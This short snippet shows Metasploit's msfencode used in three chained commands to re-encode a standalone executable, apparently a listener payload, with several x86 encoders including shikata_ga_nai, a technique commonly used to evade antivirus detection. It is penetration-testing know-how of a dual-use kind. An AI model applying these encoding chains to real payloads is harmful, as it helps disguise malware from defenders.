In many examples msfencode is used along with msfpayload. Below is how it can be used on a standalone exe
msfencode -i /root/listen2.exe -t raw -o /root/listen3.exe -e x86/jmp_call_additive -c 1
msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1
msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1